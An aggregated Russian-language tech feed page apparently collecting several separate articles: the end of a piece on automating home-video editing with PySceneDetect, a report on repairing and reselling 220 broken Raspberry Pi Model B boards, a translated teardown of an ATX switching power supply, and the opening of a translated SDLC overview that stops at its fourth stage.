 $ docker run \    --volume "/videos:/opt" \    handflucht/pyscenedetect \    --input /opt/test.mp4 \    --output /opt \    detect-content --threshold 80 \    list-scenes[PySceneDetect] Output directory set:  /opt[PySceneDetect] Loaded 1 video, framerate: 29.97 FPS, resolution: 720 x 480[PySceneDetect] Downscale factor set to 3, effective resolution: 240 x 160[PySceneDetect] Scene list CSV file name format:  $VIDEO_NAME-Scenes.csv[PySceneDetect] Detecting scenes...[PySceneDetect] Processed 55135 frames in 117.6 seconds (average 468.96 FPS).[PySceneDetect] Detected 33 scenes, average shot length 55.7 seconds.[PySceneDetect] Writing scene list to CSV file:  /opt/test-Scenes.csv[PySceneDetect] Scene List:----------------------------------------------------------------------- | Scene # | Start Frame |  Start Time  |  End Frame  |   End Time   |----------------------------------------------------------------------- |      1  |           0 | 00:00:00.000 |        1011 | 00:00:33.734 | |      2  |        1011 | 00:00:33.734 |        1292 | 00:00:43.110 | |      3  |        1292 | 00:00:43.110 |        1878 | 00:01:02.663 | |      4  |        1878 | 00:01:02.663 |        2027 | 00:01:07.634 | ...

Инструмент действительно показал точность около 80%, но проверка его работы заняла больше времени, чем он сэкономил. Тем не менее, pyscenedetect сделал одно из самых важных открытий для всего проекта: определение границ сцены и экспорт клипов это отдельные задачи.

Я вспомнил, что я программист


До этого момента я считал редактированием всё, что делал в Adobe Premiere. Вырезание клипов из необработанных кадров казалось неразрывно связанным с поиском границ клипа, потому что именно так Premiere представлял эту задачу. Когда pyscenedetect распечатал таблицу метаданных, это заставило меня понять, что я могу отделить поиск сцен от экспорта видео. Это был прорыв.

Причина, по которой редактирование было таким утомительным и трудоёмким, заключалась в том, что мне приходилось ждать, пока Premiere экспортирует каждый клип. Если бы я записал метаданные в электронную таблицу и написал скрипт, который автоматически экспортирует видео, процесс редактирования пролетел бы незаметно.

Более того, электронные таблицы значительно расширили объём метаданных. Изначально я впихивал метаданные в название файла, но это их ограничивает. Наличие целой электронной таблицы позволило каталогизировать гораздо больше сведений о клипе, например, кто в нём присутствует, когда он записан и любые другие данные, которые я хочу показать во время демонстрации видео.


Гигантская электронная таблица с метаданными о моих домашних видео

Позже я смог использовать эти метаданные, чтобы добавить информацию к клипам, например, сколько нам всем было лет и подробное описание того, что происходит в клипе.


Функциональность электронных таблиц позволяет записывать метаданные, которые дают больше информации о клипах и облегчают их просмотр

Успех автоматизированного решения


Имея электронные таблицы, я написал скрипт, который нарезал сырое видео на клипы на основе данных в CSV.

Вот запись как это выглядит в действии:



К этому моменту я потратил сотни часов, нудно выбирая границы клипа в Premiere, нажимая экспорт, ожидая несколько минут, чтобы он закончился, а затем всё сначала. Мало того, процесс повторялся несколько раз на одних и тех же клипах, когда позже обнаруживались проблемы с качеством.

Как только я автоматизировал часть нарезки на клипы, с моих плеч свалился огромный груз. Больше не нужно было беспокоиться, что я забуду метаданные или выберу неправильный формат вывода. Если позже вылезет ошибка, можно просто подправить скрипт и всё повторить.

Часть 2


Оцифровка и редактирование видеоматериалов только половина дела. Нам ещё нужно найти удобный вариант публикации в интернете, чтобы все родственники смотрели семейное видео в удобном формате со стримингом как на YouTube.

Во второй части статьи я подробно расскажу, как поднять опенсорсный медиасервер со всеми видеоклипами, который стоит мне всего 77 центов в месяц.

P.S. От переводчика: Вторая часть выйдет сегодня во второй половине дня.



Подробнее..

Инженер купил 220 нерабочих плат Raspberry Pi Model B и начал их ремонтировать

25.01.2021 12:19:59 | Автор: admin


Инженер и блогер Джеймс Доусон специализируется на обзорах одноплатных компьютеров, но сейчас он начал необычный марафон, а заодно решил подзаработать. Инженер купил на eBay партию примерно из 220 нерабочих компьютеров Raspberry Pi Model B за 61 фунт, то есть практически на вес.

Задача такая: диагностировать платы, найти неисправности, починить и продать. Платы простые, починить вроде бы легко.

Все купленные платы это Model B с объёмом оперативной памяти 256 или 512МБ в разном состоянии.

Диагностика


Первый этап провести диагностику одноплатников и определить неисправности каждого экземпляра. Как это сделать? Первым делом Джеймс разделил кучу на две части: которые грузятся и которые нет. Вторую группу он отложил на потом, а для первой взял TFT-дисплей Pi 3,5" и написал простой bash-скрипт для проверки USB-портов, Ethernet и видеовыхода.

Тут же проверялось, работают ли пины GPIO, поскольку дисплей подключался к ним (I2C, VCC и GND).


Тестирование периферии

По результатам диагностики образовалась такая картина:

Неисправность Количество Починено Не починено
Полностью рабочие 67 n/a n/a
Сломанный разъём SD-карты 30 0 30
Сломанный разъём USB 14 14 0
Лопнувший конденсатор фильтра 10 10 0
Не загружаются 80 0 80
Нет Ethernet 12 0 12
Нет сигнала HDMI 7 0 7

В таблице указано и количество плат, которые инженер сразу и починил, используя детали с неисправных плат.

Кроме того, 67 плат в партии на самом деле оказались полностью работоспособны и не требовали ремонта.

Ремонт


Джеймс Доусон говорит, что не будет чинить платы с физическими повреждениями или без сигнала HDMI, хотя последние можно загрузить и использовать без монитора.

Среди тех плат, которые не загружаются, большинство выглядит так, что там просто повреждены схемы подачи питания, а всё остальное выглядит рабочим. С ними инженер собирается разобраться в последнюю очередь.

Многие платы оказались полностью работоспособны, просто там были погнуты контакты GPIO. Похоже, некоторые владельцы выкидывают свои малинки из-за этой неисправности.



Выпрямить их металлической линейкой минутное дело. В некоторых платах пришлось вставить недостающие пины.

Другая частая причина поломки неисправный разъём USB. Хотя неисправный это слабо сказано. Обычно они были выломаны с корнем.



К счастью, в партии из 220 компьютеров было достаточно много мёртвых плат, у которых можно позаимствовать эти разъёмы, чтобы не тратить деньги на покупку.



Так мёртвые платы жертвуют органы живым, а вся партия Raspberry Pi сама поставляет комплектующие для своего ремонта. Здесь автор ничего не терял. Он говорит, что из 80 компьютеров, которые не загружаются, 60 не подлежали ремонту из-за физических повреждений платы.

USB-разъём просто припаивается на своё место:



Точно так же заменялись вылетевшие конденсаторы. Хотя плата нормально работает без них, Джеймс решил припаять их обратно.



Всё это очень простой ремонт, который делается буквально за несколько минут, если у вас есть паяльная станция и опыт пайки.

К сожалению, разъёмы для SD-карт невозможно поставить одним модулем, как USB. Сейчас автор ждёт, когда ему придёт с AliExpress партия разъёмов SD, чтобы заменить 30 неисправных. На AliExpress они стоят копейки, если брать оптом.

Что касается плат с нерабочим Ethernet, то Джеймс планирует просто выпаять из них микросхему и сетевой разъём, что де-факто превращает Model B в Model A, которую он уже будет продавать дешевле.

Пока непонятно, что делать с платами, у которых не работает видеовыход HDMI. В принципе, они же нормально работают без монитора, а для многих применений монитор и не нужен. Например, если Raspberry Pi играет роль маршрутизатора или медиасервера. Возможно, они тоже поступят в продажу по сниженной цене.

Изначально автор планировал продавать рабочие платы по цене от 5 до 9 фунтов за штуку (5 фунтов за Model A, а максимальная цена 9 фунтов для Model B, которые вообще не потребовали ремонта). В реальности он выставил их на eBay парами по 15 фунтов без учёта доставки. В каждой паре одна отремонтированная плата и одна, которая не потребовала ремонта.

Благодаря тому, что пост из блога попал в топы на HN и Reddit, бизнес идёт успешно: за последние 24 часа продано 19 пар Raspberry Pi Model B, то есть 38 штук.



Несложно посчитать, какую прибыль получит инженер за 67 полностью рабочих и 24 отремонтированных компьютера плюс 12 экземпляров Model A, если продать их по цене от 5 до 7,5 фунтов.

Но давайте всё-таки посчитаем. Первоначальные инвестиции возвращаются в размере примерно 742,5фунта (91*7,5+12*5), и это всего за пару дней работы Нужно учесть, что когда придут SD-разъёмы из Китая, он может починить ещё 30 штук, а это еще 225 фунтов (минус стоимость SD-разъёмов), если считать отремонтированные Model B по 7,5 фунтов.

Итого 61 фунт превращается в 967,5 фунтов минус стоимость SD-разъёмов с AliExpress. Хотя конечно, продажи были бы скромнее без раскрутки проекта в блоге. Сейчас вся партия на eBay будет распродана за 2-3 дня, а без раскрутки есть вероятность, что их пришлось бы продавать 2-3 месяца.

Но всё равно складывается впечатление, что паяльник весьма прибыльный инструмент, а барахолки со сломанным железом бездонный источник дешёвых комплектующих. Наверняка кто-то уже занимается этим бизнесом на постоянной основе, потому что идея лежит на поверхности, а прибыль десятикратная, как показывает этот наглядный пример с Raspberry Pi.

P. S. И с точки зрения экологии переработка электроники и возвращение её к жизни плюс в карму автору.
Подробнее..

Перевод Как устроен блок питания, который работает в каждом системнике

24.05.2021 16:18:49 | Автор: admin

Блок питания извлечён из корпуса. Пучок проводов слева подключается к компьютеру. Большой компонент посередине типа трансформатора это фильтрующий индуктор. Кликабельно, как и все фотографии в статье

Вы когда-нибудь задумывались, что находится внутри блока питания (БП) вашего компьютера? Задача БП преобразовать питание из сети (120 или 240 В переменного тока, AC) в стабильное питание постоянного, то есть однонаправленного тока (DC), который нужен вашему компьютеру. БП должен быть компактным и дешёвым, при этом эффективно и безопасно преобразовывать ток. Для этих целей при изготовлении используются различные методы, а сами БП внутри устроены гораздо сложнее, чем вы думаете.

В этой статье мы разберём блок стандарта ATX и объясним, как он работает1.

Как и в большинстве современных БП, в нашем используется конструкция, известная как импульсный блок питания (ИБП). Это сейчас они очень дёшевы, но так было не всегда. В 1950-е годы сложные и дорогие ИБП использовались разве что в ракетах и космических спутниках с критическими требованиями к размеру и весу. Однако к началу 1970-х новые высоковольтные транзисторы и другие технологические усовершенствования значительно удешевили ИБП, так что их стали широко использовать в компьютерах. Сегодня вы можете за несколько долларов купить зарядное устройство для телефона с ИБП внутри.

Наш ИБП формата ATX упакован в металлический корпус размером с кирпич, из которого выходит множество разноцветных кабелей. Внутри корпуса мы видим плотно упакованные компоненты. Инженеры-конструкторы явно были озабочены проблемой компактности устройства. Многие компоненты накрыты радиаторами. Они охлаждают силовые полупроводники. То же самое для всего БП делает встроенный вентилятор. На КДПВ он справа.

Начнём с краткого обзора, как работает ИБП, а затем подробно опишем компоненты. Своеобразный конвейер на фотографии организован справа налево. Справа ИБП получает переменный ток. Входной переменный ток преобразуется в высоковольтный постоянный ток с помощью нескольких крупных фильтрующих компонентов. Этот постоянный ток включается и выключается тысячи раз в секунду для генерации импульсов, которые подаются в трансформатор. Тот преобразует высоковольтные импульсы в сильноточные низковольтные. Эти импульсы преобразуются в постоянный ток и фильтруются, чтобы обеспечить хорошее, чистое питание. Оно подаётся на материнскую плату, накопители и дисководы через кабели на фотографии слева.

Хотя процесс может показаться чрезмерно сложным, но большинство бытовой электроники от мобильника до телевизора на самом деле питаются через ИБП. Высокочастотный ток позволяет сделать маленький, лёгкий трансформатор. Кроме того, импульсные БП очень эффективны. Импульсы настраиваются таким образом, чтобы обеспечить только необходимую мощность, а не превращать избыточную мощность в отработанное тепло, как в линейном БП.

Входная фильтрация шума


Первым делом входной переменный ток проходит через цепь входного фильтра, которая фильтрует электрический шум, то есть беспорядочные изменения электрического тока, ухудшающие качество сигнала.

Фильтр ниже состоит из индукторов (тороидальных катушек) и конденсаторов. Квадратные серые конденсаторы специальные компоненты класса X для безопасного подключения к линиям переменного тока.


Компоненты входного фильтра

Преобразование AC/DC


Переменный ток с частотой 60герц в сети меняет своё направление 60 раз в секунду (AC), но компьютеру нужен постоянный ток в одном направлении (DC). Полномостовой выпрямитель на фотографии ниже преобразует переменный ток в постоянный. Выходы постоянного тока на выпрямителе отмечены знаками ? и +, а переменный ток входит через два центральных контакта, которые постоянно меняют свою полярность. Внутри выпрямителя четыре диода. Диод позволяет току проходить в одном направлении и блокирует его в другом направлении, поэтому в результате переменный ток преобразуется в постоянный ток, протекающий в нужном направлении.


На мостовом выпрямителе видна маркировка GBU606. Цепь фильтра находится слева от выпрямителя. Большой чёрный конденсатор справа один из удвоителей напряжения. Маленький жёлтый конденсатор это специальный керамический Y-конденсатор, который защищает от всплесков напряжения

Ниже две схемы, как работает мостовой выпрямитель. На первой схеме у верхнего входа переменного тока положительная полярность. Диоды пропускают поток на выход DC. На второй схеме входы переменного тока поменяли полярность, как это происходит постоянно в AC. Однако конфигурация диодов гарантирует, что выходной ток остаётся неизменным (плюс всегда сверху). Конденсаторы сглаживают выход.


На двух схемах показан поток тока при колебаниях входного сигнала AC. Четыре диода заставляют ток течь в направлении по стрелке

Современные БП принимают универсальное входное напряжение от 85 до 264 вольт переменного тока, поэтому могут использоваться в разных странах независимо от напряжения в местной сети. Однако схема этого старого БП не могла справиться с таким широким диапазоном. Поэтому предусмотрен переключатель для выбора 115 или 230 В.


Переключатель 115/230 В

Переключатель использует умную схему с удвоителем напряжения. Идея в том, что при закрытом переключателе (на 115 В) вход AC обходит два нижних диода в мостовом выпрямителе, а вместо этого подключается непосредственно к двум конденсаторам. Когда плюс на верхнем входе AC, полное напряжение получает верхний конденсатор. А когда плюс снизу, то нижний. Поскольку выход DC идёт с обоих конденсаторов, на выходе всегда получается двойное напряжение. Дело в том, что остальная часть БП получает одинаковое напряжение независимо от того, на входе 115 или 230 В, что упрощает его конструкцию. Недостаток удвоителя в том, что пользователь обязан установить переключатель в правильное положение, иначе рискует повредить БП, а для самого БП требуются два больших конденсатора. Поэтому в современных БП удвоитель напряжения вышел из моды.


Схема удвоителя напряжения. Каждый конденсатор получает полный вольтаж, поэтому на выходе DC двойное напряжение. Серые диоды не используются в работе удвоителя

Две стороны БП


В целях безопасности высоковольтные и низковольтные компоненты разделены механически и электрически, см. фотографию ниже. На основной стороне находятся все цепи, которые подключаются к сети AC. На вторичной стороне низковольтные цепи. Две стороны разделены пограничной изоляцией, которая отмечена зелёным пунктиром на фотографии. Через границу не проходит никаких электрических соединений. Трансформаторы пропускают энергию через эту границу через магнитные поля без прямого электрического соединения. Сигналы обратной связи передаются на основную сторону с помощью оптоизоляторов, то есть световыми импульсами. Это разделение является ключевым фактором в безопасной конструкции: прямое электрическое соединение между линией AC и выходом БП создаёт опасность удара электрическим током.


Источник питания с маркировкой основных элементов. Радиаторы, конденсаторы, плата управления и выходные кабели удалены ради лучшего обзора (SB означает источник резервного питания, standby supply)

Импульсы к трансформатору


К этому моменту входной переменный ток преобразован в высоковольтный постоянный ток около 320 В2. Постоянный ток нарезается на импульсы переключающим (импульсным) транзистором (switching transistor на схеме выше). Это силовой МОП-транзистор (MOSFET)3. Поскольку во время использования он нагревается, то установлен на большом радиаторе. Импульсы подаются в главный трансформатор, который в некотором смысле является сердцем БП.

Трансформатор состоит из нескольких катушек проволоки, намотанных на намагничиваемый сердечник. Высоковольтные импульсы, поступающие в первичную обмотку трансформатора, создают магнитное поле. Сердечник направляет это магнитное поле на другие, вторичные обмотки, создавая в них напряжение. Так ИБП безопасно вырабатывает выходной ток: между двумя сторонами трансформатора нет электрического соединения, только соединение через магнитное поле. Другим важным аспектом является то, что в первичной обмотке много оборотов проволоки вокруг сердечника, а на вторичных контурах гораздо меньше. В результате получается понижающий трансформатор: выходное напряжение намного меньше входного, но при гораздо большем вольтаже.

Переключающий транзистор3 управляется интегральной схемой под названием ШИМ-контроллер режима тока UC3842B. Этот чип можно считать мозгом БП. Он генерирует импульсы на высокой частоте 250 килогерц. Ширина каждого импульса регулируется для обеспечения необходимого выходного напряжения: если напряжение начинает падать, чип производит более широкие импульсы, чтобы пропускать больше энергии через трансформатор4.

Вторичная сторона


Теперь можно посмотреть на вторую, низковольтную часть БП. Вторичная схема производит четыре выходных напряжения: 5, 12, ?12 и 3,3 вольта. Для каждого выходного напряжения отдельная обмотка трансформатора и отдельная схема для получения этого тока. Силовые диоды (ниже) преобразуют выходы трансформатора в постоянный ток. Затем индукторы и конденсаторы фильтруют выход от всплесков напряжения. БП должен регулировать выходное напряжение, чтобы поддерживать его на должном уровне даже при увеличении или уменьшении нагрузки. Интересно, что в БП используется несколько различных методов регулирования.


Крупным планом показаны выходные диоды. Слева вертикально установлены цилиндрические диоды. В центре пары прямоугольных силовых диодов Шоттки, в каждом корпусе по два диода. Эти диоды прикреплены к радиатору для охлаждения. Справа обратите внимание на два медных провода в форме скоб. Они используются в качестве резисторов для измерения тока

Основными являются выходы 5 и 12 В. Они регулируются одной микросхемой контроллера на основной стороне. Если напряжение слишком низкое, микросхема увеличивает ширину импульсов, пропуская больше мощности через трансформатор и увеличивая напряжение на вторичной стороне БП. А если напряжение слишком высокое, чип уменьшает ширину импульса. Примечание: одна и та же схема обратной связи управляет выходами на 5 и 12 В, поэтому нагрузка на одном выходе может изменять напряжение на другом. В более качественных БП два выхода регулируются по отдельности5.


Нижняя сторона печатной платы. Обратите внимание на большое расстояние между цепями основной и вторичной сторон БП. Также обратите внимание, какие широкие металлические дорожки на основной стороне БП для тока высокого напряжения и какие тонкие дорожки для схем управления

Вы можете задать вопрос, как микросхема контроллера на основной стороне получает обратную связь об уровнях напряжения на вторичной стороне, поскольку между ними нет электрического соединения (на фотографии виден широкий зазор). Трюк в использовании хитроумной микросхемы под названием оптоизолятор. Внутри чипа на одной стороне чипа инфракрасный светодиод, на другой светочувствительный фототранзистор. Сигнал обратной связи подаётся на LED и детектируется фототранзистором на другой стороне. Таким образом оптоизолятор обеспечивает мост между вторичной и первичной сторонами, передавая информацию светом, а не электричеством6.

Источник питания также обеспечивает отрицательное выходное напряжение (?12 В). Это напряжение в основном устарело, но использовалось для питания последовательных портов и слотов PCI. Регулирование питания ?12 В кардинально отличается от регулирования +5 и +12В. Выход ?12 В управляется стабилитроном (диодом Зенера) это специальный тип диода, который блокирует обратный ток до определённого уровня напряжения, а затем начинает проводить его. Избыточное напряжение рассеивается в виде тепла через силовой резистор (розовый) под управлением транзистора и стабилитрона (поскольку этот подход расходует энергию впустую, современные высокоэффективные БП не используют такой метод регулирования).


Питание ?12 В регулируется крошечным стабилитроном ZD6 длиной около 3,6 мм на нижней стороне печатной платы. Соответствующий силовой резистор и транзистор A1015 находятся на верхней стороне платы

Пожалуй, наиболее интересной схемой регулирования является выход 3,3 В, который регулируется магнитным усилителем. Магнитный усилитель это индуктор с особыми магнитными свойствами, которые заставляют его работать как ключ (переключатель). Когда ток подаётся в индуктор магнитного усилителя, то сначала он почти полностью блокирует ток, поскольку индуктор намагничивается и магнитное поле увеличивается. Когда индуктор достигает полной намагниченности (то есть насыщается), его поведение внезапно меняется и индуктор позволяет частицам течь беспрепятственно. Магнитный усилитель в БП получает импульсы от трансформатора. Индуктор блокирует переменную часть импульса. Выход 3,3 В регулируется изменением ширины импульса7.


Магнитный усилитель представляет собой кольцо из ферритового материала с особыми магнитными свойствами. Вокруг кольца намотано несколько витков проволоки

Управляющая плата


В блоке питания есть небольшая плата, на которой размещена схема управления. Эта плата сравнивает напряжение с эталонным, чтобы генерировать сигналы обратной связи. Она отслеживает вольтаж также для того, чтобы генерировать сигнал питание в норме (power good). Схема установлена на отдельной перпендикулярной плате, поэтому не занимает много места в БП.


Основные компоненты установлены на верхней стороне платы со сквозными отверстиями, а нижняя сторона покрыта крошечными SMD-компонентами, которые нанесены путём поверхностного монтажа. Обратите внимание на резисторы с нулевым сопротивлением в качестве перемычек

Источник резервного питания


В БП есть ещё вторая цепь для резервного питания9. Даже когда компьютер формально выключен, пятивольтовый источник резервного питания обеспечивает ему мощность 10 Вт для функций, которые продолжают работать: часы реального времени, функция пробуждения по локальной сети и др. Цепь резервного питания является почти независимым БП: она использует отдельную управляющую микросхему, отдельный трансформатор и отдельные компоненты на вторичной стороне DC, но те же самые компоненты на основной стороне AC. Эта система гораздо меньшей мощности, поэтому в цепи трансформатор меньшего размера.


Чёрно-жёлтые трансформаторы: трансформатор для резервного питания находится слева, а основной трансформатор справа. Перед ним установлена микросхема для управления резервным питанием. Большой цилиндрический конденсатор справа компонент удвоителя напряжения. Белые капли это силикон, который изолирует компоненты и удерживает их на месте

Вывод


Блок питания ATX сложно устроен внутри, с множеством компонентов, от массивных индукторов и конденсаторов до крошечных компонентов поверхностного монтажа10. Однако эта сложность позволяет выпускать эффективные, маленькие и безопасные БП. Для сравнения, я когда-то писал о блоке питания 1940-х годов, который выдавал всего 85 ватт мощности, но был размером с чемодан, весил 50 кг и стоил сумасшедшие деньги. В наше время с продвинутыми полупроводниками делают гораздо более мощные БП дешевле 50 долларов, и такое устройство поместится у вас в руке.




Блок питания REC-30 для телетайпа Model 19 (ВМФ США) 1940-х годов

Я уже писал о БП, включая историю блоков питания в IEEE Spectrum. Вам также могут понравиться детальные разборы зарядного устройства Macbook и зарядного устройства iPhone.

Примечания и ссылки


1 Intel представила стандарт ATX для персональных компьютеров в 1995 году. Стандарт ATX (с некоторыми обновлениями) по-прежнему определяет конфигурацию материнской платы, корпуса и блока питания большинства настольных компьютеров. Здесь мы изучаем блок питания 2005 года, а современные БП более продвинутые и эффективные. Основные принципы те же, но есть некоторые изменения. Например, вместо магнитных усилителей почти везде используют преобразователи DC/DC.


Этикетка на блоке питания

На этикетке БП указано, что он изготовлен компанией Bestec для настольного компьютера Hewlett-Packard Dx5150. Этот БП слегка не соответствует формату ATX, он более вытянут в длину. [вернуться]

2 Вы можете задать вопрос, почему AC напряжением 230 В преобразуется в постоянный ток 320 В. Причина в том, что напряжение переменного тока обычно измеряется как среднеквадратичное, которое в каком-то смысле усредняет изменяющуюся форму волны. По факту в 230-вольтовом сигнале AC есть пики до 320 вольт. Конденсаторы БП заряжаются через диоды до пикового напряжения, поэтому постоянный ток составляет примерно 320 вольт (хотя немного провисает в течение цикла). [вернуться]

3 Силовой транзистор представляет собой силовой МОП-транзистор FQA9N90C. Он выдерживает 9 ампер и 900 вольт. [вернуться]

4 Интегральная схема питается от отдельной обмотки на трансформаторе, которая выдаёт 34 вольта для её работы. Налицо проблема курицы и яйца: управляющая микросхема создаёт импульсы для трансформатора, но трансформатор питает управляющую микросхему. Решение специальная цепь запуска с резистором 100 k между микросхемой и высоковольтным током. Она обеспечивает небольшой ток для запуска микросхемы. Как только чип начинает отправлять импульсы на трансформатор, то питается уже от него. [вернуться]

5 Метод использования одного контура регулирования для двух выходов называется перекрёстным регулированием. Если нагрузка на одном выходе намного выше другого, напряжения могут отклоняться от своих значений. Поэтому во многих БП есть минимальные требования к нагрузке на каждом выходе. Более продвинутые БП используют DC/DC преобразователи для всех выходов, чтобы контролировать точность напряжения. Дополнительные сведения о перекрёстном регулировании см. в этих двух презентациях. Один из обсуждаемых методов многоуровневая укладка выходных обмоток, как в нашем БП. В частности, 12-вольтовый выход реализован в виде 7-вольтового выхода поверх 5-вольтового выхода, что даёт 12 вольт. При такой конфигурации ошибка 10% (например) в 12-вольтовой цепи будет составлять всего 0,7 В, а не 1,2 В. [вернуться]

6 Оптоизоляторы представляют собой компоненты PC817, которые обеспечивают 5000 вольт изоляции между сторонами БП (то есть между высокой и низкой сторонами). Обратите внимание на прорезь в печатной плате под оптоизоляторами. Это дополнительная мера безопасности: она гарантирует, что ток высокого напряжения не пройдёт между двумя сторонами оптоизолятора вдоль поверхности печатной платы, например, при наличии загрязнения или конденсата (в частности, прорезь увеличивает расстояние утечки). [вернуться]

7 Ширина импульса через магнитный усилитель устанавливается простой схемой управления. В обратной части каждого импульса индуктор частично размагничивается. Схема управления регулирует напряжение размагничивания. Более высокий вольтаж усиливает размагничивание. Тогда индуктору требуется больше времени для повторного намагничивания, и, таким образом, он дольше блокирует входной импульс. При более коротком импульсе в цепи выходное напряжение уменьшается. И наоборот, более низкое напряжение размагничивания приводит к меньшему размагничиванию, поэтому входной импульс блокируется не так долго. В итоге выходное напряжение регулируется изменением напряжения размагничивания. Обратите внимание, что ширина импульса в магнитном усилителе регулируется управляющей микросхемой. Магнитный усилитель сокращает эти импульсы по мере необходимости при регулировании выходного напряжения 3,3 В. [вернуться]

8 Плата управления содержит несколько микросхем, включая операционный усилитель LM358NA, чип супервизора/сброса TPS3510P, четырёхканальный дифференциальный компаратор LM339N и прецизионный эталон AZ431. Чип супервизора интересный он специально разработан для БП и контролирует выходное напряжение, чтобы оно было не слишком высоким и не слишком низким. Прецизионный эталон AZ431 это вариант эталонного чипа TL431, который часто используется в БП для обеспечения опорного (контрольного) напряжения. Я уже писал о TL431. [вернуться]

9 Источник резервного питания использует другую конфигурацию обратноходовой трансформатор. Здесь установлена управляющая микросхема A6151 с переключающим транзистором, что упрощает конструкцию.


Схема БП с использованием A6151. Она взята из справочника, поэтому не идентична схеме нашего БП, хотя близка к ней
[вернуться]

10 Если хотите изучить подробные схемы различных БП формата ATX, рекомендую сайт Дэна Мельника. Удивительно, сколько существует реализаций БП: различные топологии (полумостовые или прямые), наличие или отсутствие преобразования коэффициента мощности (PFC), разнообразные системы управления, регулирования и мониторинга. Наш БП довольно похож на БП с прямой топологией без PFC, внизу той странички на сайте Дэна. [вернуться]
Подробнее..

Перевод Что такое SDLC? Этапы, методология и процессы жизненного цикла программного обеспечения

02.10.2020 12:06:25 | Автор: admin
Цитируя автора книги Managing Information Technology Projects Джеймса Тейлора, жизненный цикл проекта охватывает всю деятельность проекта. Задачей же разработки ПО является выполнение требований продукта. Если вы хотите научиться создавать и выпускать высококачественное ПО, вам придется следовать плану. Со слов Тейлора, вашей целью должен стать всесторонний анализ деятельности проекта и контроля каждого этапа его разработки. Вот только с чего именно начать?

Ответить можно так: направить ваш рабочий процесс в верном направлении поможет подходящий фреймворк. В наши дни довольно сильным и популярным фреймворком является SDLC жизненный цикл программного обеспечения.

Принципы работы SDLC и почему им пользуются


На диаграмме ниже можно ознакомиться с шестью основными этапами SDLC.



В целом, SDLC это такой замкнутый цикл, в котором каждый этап влияет на действия в последующих и дает перспективные указания на будущее. Для получения ответов на конкретные вопросы и обеспечения согласованности вашего процесса разработки все шесть этапов стараются эффективно и последовательно друг на друга влиять.

Я постараюсь абстрагироваться от тонкостей и предоставить общие примеры, подходящие для студентов и разработчиков ПО. Например, если вы по аналогии с Zoomshift пробуете создать приложение, рассчитанное на работников с почасовой оплатой, или приложение для учета времени, начать вам нужно будет с этапа анализа требований.

На этом самом основном уровне вы сможете понять каковы должны быть требования к работникам в вопросах учета времени и труда, для чего полезно будет опросить как самих работников, так и их руководящих менеджеров. Так же для большего понимания проблем текущих приложений в области вы можете протестировать ваши решения на рынке, а создание диаграмм, графиков и в целом ведение записей поможет вам более глубоко понимать количественную и качественную обратную связь. Только после осознания этих критических особенностей вы будете готовы перейти к следующему этапу SDLC планированию.

Фаза анализа требований может оказаться очень утомительной, но проходя через эти шаги, вы добиваетесь множества результатов: снижаете время выхода продукта на рынок, обеспечиваете большую его производительность, экономите бюджет и повышаете вероятность вхождения продукта на рынок.

Мыслите за пределами обычного приложения по отслеживанию времени думайте о том, что вы хотите создать, чем вы хотите заниматься, а затем определите требования для решения связанных с этим проблем. Это и будет вашим началом.

Этапы SDLC и лучшие практики и методологии


В ходе разработки перед переходом от текущего этапа к следующему необходимо выполнить каждый его шаг, для чего их следует лучше понимать. В этом отношении первые три этапа стараются дать ответы на проверочные вопросы, а последние три оптимизированы для достижения фактических результатов.

  • Анализ требований отвечает на вопрос Какие проблемы требуют решений?
  • Планирование отвечает на вопрос Что мы хотим сделать?
  • Проектирование и дизайн отвечает на вопрос Как мы добьемся наших целей?
  • Разработка ПО регулирует процесс создания продукта.
  • Тестирование регулирует обеспечение качественной работы продукта.
  • Развертывание регулирует использование финального продукта.

Эти шесть этапов описывают уже наверняка применяемые вами при оценке, создании, тестировании и развертывании вашего ПО шаги. Тем не менее, SDLC стандартизирует и формализует рабочий процесс, что только в ваших же интересах: следуя конкретным шагам фреймворка, вы сможете легко понять в какой его части вы находитесь, и сообщить команде куда вы двигаетесь.

Давайте детальнее рассмотрим каждый этап и разберем проверочные вопросы и результаты, некоторые из которых вы можете захотеть оптимизировать под вашу конкретную ситуацию.

Этап #1: Анализ требований


На этом этапе SDLC вам необходимо получить обратную связь и поддержку от соответствующих внутренних и внешних заинтересованных сторон. Вспомните мой недавний пример с разработкой приложения по учету времени: вам нужно будет широко задуматься о том, кто станут вашими потенциальными пользователями. Некоторые идеи будут включать ваших клиентов, дизайнеров, вашего начальника или других технических специалистов команды. В целом вы хотите ответить на следующий вопрос: Какие проблемы требуют решений? Быть внимательным и делать заметки будет очень полезно на этом этапе.

Когда полученные ответы вас удовлетворят, вы сможете перейти к следующей фазе.

Этап #2: Планирование


На этом этапе вы ищете ответ на следующий вопрос: Что вы хотите сделать? Этот вопрос может вдохновить вас на понимание юнит-экономики вашего плана (затраты и выгоды), факторов снижения рисков и ожидаемых стоимостей. По аналогии с планированием отпуска, вам нужно будет разложить ваши вещи и подумать о том, что следует взять с собой.

Хороший пример:

Я много читал об истории Инстаграма, чей этап планирования занял невероятно много времени. Это совпало с бурным ростом социальных сетей, поэтому взаимодействие пользователей с продуктом во многом все еще было неизвестно. Разработчики знали, что сильный первичный опыт (съемка, редактирование и обмен фотографиями) обеспечит рост, успех и высокую конверсию, а корректное планирование упростит проектирование, поэтому планировали соответствующе и тратили на дизайн много времени. Они всегда смотрели на шаг вперед и думали о будущем социальных сетей и электронной коммерции.

Планируйте то, что вы можете контролировать, и помните о вещах, планировать которые вы не сможете. Это поможет вам получить прочную основу для перехода к третьему этапу.

Этап #3: Проектирование и дизайн


К этому этапу вы уже должны знать требования вашего продукта и в целом понимать чего вы вообще хотите, и прежде чем приступить к написанию кода, этого понимания должно быть достаточно для ответа на следующий вопрос: Как мы добьемся наших целей? Иначе говоря, вам необходимо понять, что именно вы оптимизируете и проектировать соответствующе.

Допустим, вы хотите создать безопасное, высокопроизводительное, эффективное и выдерживающее нагрузки приложение. Какой из этих четырех принципов наиболее для вас наиболее важен? Почему? Согласны ли с этим заинтересованные стороны из первого этапа? Важно обеспечить одобрение всех участников.

После фазы дизайна вы наконец-то сможете засесть за клавиатуры, и внесение изменений в отношении времени и потраченных ресурсов будет неуклонно расти, а также буду постепенно накапливаться всевозможные малые факторы. В этой фазе для принятия окончательных решений по вопросам дизайна я рекомендую учитывать несколько основных его элементов: операционное превосходство, безопасность, надежность, эффективность производительности, и оптимизация затрат.

Этап #4: Разработка ПО


